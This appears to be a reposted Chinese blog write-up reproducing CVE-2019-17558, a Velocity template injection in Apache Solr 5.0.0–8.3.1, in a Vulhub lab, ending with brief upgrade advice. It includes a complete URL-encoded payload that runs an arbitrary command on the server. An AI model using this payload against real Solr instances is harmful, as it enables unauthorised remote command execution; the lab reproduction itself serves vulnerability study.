Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

前言

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

 

影响版本

Apache Solr 5.0.0 ~ 8.3.1

 

环境搭建

docker-compose up -d

访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务。

漏洞复现

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Vulhub里唯一的核心是demo:

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

之后,注入Velocity模板即可执行任意命令:

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

修复建议

Appache Salc升级到最新版

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/106967950
今日推荐